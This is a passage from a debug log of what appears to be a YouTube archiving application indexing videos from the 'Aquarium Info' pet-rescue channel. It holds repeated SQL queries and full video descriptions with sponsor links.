Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl\n\n$350 Intro Offer: Terms apply. Limited time only. Must open a new account and complete qualifying activities to earn up to $350. See chime.com/policies/newmemberofferv3 for details.\n3.50% Chime+ APY is only available to members who maintain eligibility for Chime+ status, otherwise the 1.00% APY will apply. APY means Annual Percentage Yield. No minimum balance required. See Chime.com for details. Chime Checking Account required to be eligible for a Savings Account.\nThe national average rate can be found on the FDIC's National Rates and Rate Caps website here: https://www.fdic.gov/national-rates-and-rate-caps.\nAutomatic Round Ups: Only debit card and credit card purchases can receive round-ups. Must receive a qualifying direct deposit of $1 or more.", "I Turned a Restaurant Crab into a Pet...", "a35dd14c-3547-4240-8764-81d18be7cea0", "Bl8h8ks400Y", false, "https://www.youtube.com/watch?v=Bl8h8ks400Y", 32, [], 789, false, 4, "/downloads/shows/Aquarium Info/Season 2026/s2026e013100 - I Turned a Restaurant Crab into a Pet....mkv", false, false, 98, ~U[2026-01-31 16:11:00Z], ~U[2026-06-03 15:12:53Z], ~U[2026-06-03 15:12:53Z], "Meet Chowder, a baby blue crab I rescued from a restaurant! \n\nGet up to $350 and earn up to 3.50% APY with Chime here: https://chime.yt.link/CkQDaqT. Thanks Chime for sponsoring this video!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we save a baby blue crab from a restaurant from being someone’s dinner. He arrives at our studio missing a claw and we call him Chowder, our one clawed prince. He is in really poor health, but slowly over time he grows stronger. I’m so happy I didn’t give up on him and his recovery! I’ve saved grocery store pets before, like Nibbles, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet crab Chowder. I even surprise Chowder with an epic crab kingdom with 3D printed castles, turrets and more! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a restaurant crab named Chowder from becoming someone’s dinner. Witness his incredible journey back to health as we bring him home and build a massive saltwater ecosystem for him. I challenge myself to build the ultimate 5 star castle, featuring custom bridges, turrets and a private underwater bunker.\n\nWatch until the end to see what Chowder thinks of his new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this rescue pet video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Chowder\" so I notice you 👑 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl\n\n$350 Intro Offer: Terms apply. Limited time only. Must open a n (truncated) 11:12:53.566 [debug] QUERY OK source="sources" db=0.2ms idle=33.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:53.566 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:53.567 [debug] QUERY OK source="media_items" db=0.2ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116184] 11:12:53.567 [debug] Current batch of media processed. Will check again in 1000ms 11:12:54.568 [debug] Current batch of media processed. Will check again in 1000ms 11:12:55.569 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Meet Zoey, a grocery store shrimp I'm keeping as a pet!\n\n🌈 Get the H2C and explore effortless multi-color printing by clicking the link! https://tidd.ly/4iVdqu5\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\n🎣 Go shrimping with Captain Deryl! https://reelscreamers.com/ He’s a legend and we couldn’t have done this video without him.\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we rescue an ordinary shrimp from the grocery store and name her Zoey. She was the smallest supermarket shrimp and only cost me a few dollars. I just had to save this pet and build her a dream fish tank. I recently rescued Noodle, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet grocery store shrimp. I even surprise Zoey with two friends who I name Rumi and Mira, inspired by my favorite new Netflix movie, KPop Demon Hunters! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a grocery store shrimp named Zoey from becoming someone’s dinner. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her. I challenge myself to build the ultimate 5 star private waterpark, featuring water slides, a real wave pool and so much more. I even 3D print a custom forklift to help me in this STEM project. If you’re curious about this little car I printed, check out Bambu Lab’s Cyberbrick collection here: https://tidd.ly/4pEIOjl \n\nWatch until the end to see what our KPop Demon Hunter pet shrimp think of their new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, KPop Demon Hunters, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this grocery store pets video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"KPop Demon Hunters\" so I notice you 🎤 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 1092, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e121400 - I Turned a Grocery Store Shrimp into a Pet.mkv", "id" => "Yx3ugiqTKJ4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Yx3ugiqTKJ4", "playlist_index" => 5, "timestamp" => 1765720620, "title" => "I Turned a Grocery Store Shrimp into a Pet", "upload_date" => "20251214"} 11:12:55.570 [debug] QUERY OK source="sources" db=0.1ms idle=874.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:55.570 [debug] QUERY OK source="sources" db=0.2ms idle=875.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:55.571 [debug] QUERY OK source="media_items" db=0.5ms idle=875.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-14 13:57:00Z], 32] 11:12:55.574 [debug] QUERY OK source="media_items" db=2.2ms idle=876.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Zoey, a grocery store shrimp I'm keeping as a pet!\n\n🌈 Get the H2C and explore effortless multi-color printing by clicking the link! https://tidd.ly/4iVdqu5\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\n🎣 Go shrimping with Captain Deryl! https://reelscreamers.com/ He’s a legend and we couldn’t have done this video without him.\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we rescue an ordinary shrimp from the grocery store and name her Zoey. She was the smallest supermarket shrimp and only cost me a few dollars. I just had to save this pet and build her a dream fish tank. I recently rescued Noodle, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet grocery store shrimp. I even surprise Zoey with two friends who I name Rumi and Mira, inspired by my favorite new Netflix movie, KPop Demon Hunters! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a grocery store shrimp named Zoey from becoming someone’s dinner. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her. I challenge myself to build the ultimate 5 star private waterpark, featuring water slides, a real wave pool and so much more. I even 3D print a custom forklift to help me in this STEM project. If you’re curious about this little car I printed, check out Bambu Lab’s Cyberbrick collection here: https://tidd.ly/4pEIOjl \n\nWatch until the end to see what our KPop Demon Hunter pet shrimp think of their new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, KPop Demon Hunters, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this grocery store pets video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"KPop Demon Hunters\" so I notice you 🎤 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Grocery Store Shrimp into a Pet", "4a0197d6-8c57-43be-8919-76f2b3c6303c", "Yx3ugiqTKJ4", false, "https://www.youtube.com/watch?v=Yx3ugiqTKJ4", 32, [], 1092, false, 5, "/downloads/shows/Aquarium Info/Season 2025/s2025e121400 - I Turned a Grocery Store Shrimp into a Pet.mkv", false, false, 98, ~U[2025-12-14 13:57:00Z], ~U[2026-06-03 15:12:55Z], ~U[2026-06-03 15:12:55Z], "Meet Zoey, a grocery store shrimp I'm keeping as a pet!\n\n🌈 Get the H2C and explore effortless multi-color printing by clicking the link! https://tidd.ly/4iVdqu5\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\n🎣 Go shrimping with Captain Deryl! https://reelscreamers.com/ He’s a legend and we couldn’t have done this video without him.\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we rescue an ordinary shrimp from the grocery store and name her Zoey. She was the smallest supermarket shrimp and only cost me a few dollars. I just had to save this pet and build her a dream fish tank. I recently rescued Noodle, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet grocery store shrimp. I even surprise Zoey with two friends who I name Rumi and Mira, inspired by my favorite new Netflix movie, KPop Demon Hunters! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a grocery store shrimp named Zoey from becoming someone’s dinner. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her. I challenge myself to build the ultimate 5 star private waterpark, featuring water slides, a real wave pool and so much more. I even 3D print a custom forklift to help me in this STEM project. If you’re curious about this little car I printed, check out Bambu Lab’s Cyberbrick collection here: https://tidd.ly/4pEIOjl \n\nWatch until the end to see what our KPop Demon Hunter pet shrimp think of their new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, KPop Demon Hunters, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this grocery store pets video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"KPop Demon Hunters\" so I notice you 🎤 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Grocery Store Shrimp into a Pet", "Yx3ugiqTKJ4", "https://www.youtube.com/watch?v=Yx3ugiqTKJ4", 32, 1092, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e121400 - I Turned a Grocery Store Shrimp into a Pet.mkv", false, ~U (truncated) 11:12:55.575 [debug] QUERY OK source="sources" db=0.5ms idle=39.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:55.575 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:55.576 [debug] QUERY OK source="media_items" db=0.3ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116185] 11:12:55.576 [debug] Current batch of media processed. Will check again in 1000ms 11:12:56.577 [debug] Current batch of media processed. Will check again in 1000ms 11:12:57.578 [debug] Current batch of media processed. Will check again in 1000ms 11:12:58.580 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I Built Minecraft for my Axolotls (Again!) \n\nOnly during Black Friday! Get 53% off the world’s fastest recharging power station here: https://ankerfast.club/q9x4s6 (Amazon) or https://ankerfast.club/3bmxfy (Official Website). #AnkerSOLIX #backuppower\n\n⚡️ Anker SOLIX C1000 Gen 2 | Guinness World Record Holder\n🔋 2,000W Output\n⏱️ Full Charge in 49 min\n💰 53% OFF BFCM Deal Live Now\n\nAfter I built Minecraft IRL for my axolotls Miso and Matcha, I knew I had to make something inspired by the new Minecraft movie for their best friends, Jojo and Java, too. Watch until the end to see Preston Playz react to my insane Minecraft in real life setup! \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWatch as we build another epic Minecraft IRL ecosystem for my new axolotls, Jojo and Java! They finally get their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with a flower orchid praying mantis, an arid desert with Minecraft camel mobs, a snowy mountain with real snow, a Minecraft village with friendly Minecraft mobs and a lush cave for real axolotls! We have so many REAL mobs living in our Minecraft ecosystem, like my beetles Davy and Timmy, rare fish and so much more! Can you spot them all?\n\nIn this adventure-filled episode, Outdoor Adam travels to Montana to experience Minecraft in real life while hunting for a real axolotl. We also build a DIY 3D printed Minecraft shipwreck for our Minecraft ecosystem. \n\nWatch until the end to see if my axolotls Jojo and Java enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Chicken Jockey\" so I notice you 🐓🤠\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank!\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 1063, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e112100 - I Built Minecraft for a Real Axolotl!.mkv", "id" => "3Jht0AF-4TA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3Jht0AF-4TA", "playlist_index" => 6, "timestamp" => 1763760357, "title" => "I Built Minecraft for a Real Axolotl!", "upload_date" => "20251121"} 11:12:58.582 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1885.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:58.583 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1887.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:58.585 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=1888.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 21:25:57Z], 32] 11:12:58.587 [debug] QUERY OK source="media_items" db=1.4ms idle=1048.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Built Minecraft for my Axolotls (Again!) \n\nOnly during Black Friday! Get 53% off the world’s fastest recharging power station here: https://ankerfast.club/q9x4s6 (Amazon) or https://ankerfast.club/3bmxfy (Official Website). #AnkerSOLIX #backuppower\n\n⚡️ Anker SOLIX C1000 Gen 2 | Guinness World Record Holder\n🔋 2,000W Output\n⏱️ Full Charge in 49 min\n💰 53% OFF BFCM Deal Live Now\n\nAfter I built Minecraft IRL for my axolotls Miso and Matcha, I knew I had to make something inspired by the new Minecraft movie for their best friends, Jojo and Java, too. Watch until the end to see Preston Playz react to my insane Minecraft in real life setup! \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWatch as we build another epic Minecraft IRL ecosystem for my new axolotls, Jojo and Java! They finally get their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with a flower orchid praying mantis, an arid desert with Minecraft camel mobs, a snowy mountain with real snow, a Minecraft village with friendly Minecraft mobs and a lush cave for real axolotls! We have so many REAL mobs living in our Minecraft ecosystem, like my beetles Davy and Timmy, rare fish and so much more! Can you spot them all?\n\nIn this adventure-filled episode, Outdoor Adam travels to Montana to experience Minecraft in real life while hunting for a real axolotl. We also build a DIY 3D printed Minecraft shipwreck for our Minecraft ecosystem. \n\nWatch until the end to see if my axolotls Jojo and Java enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Chicken Jockey\" so I notice you 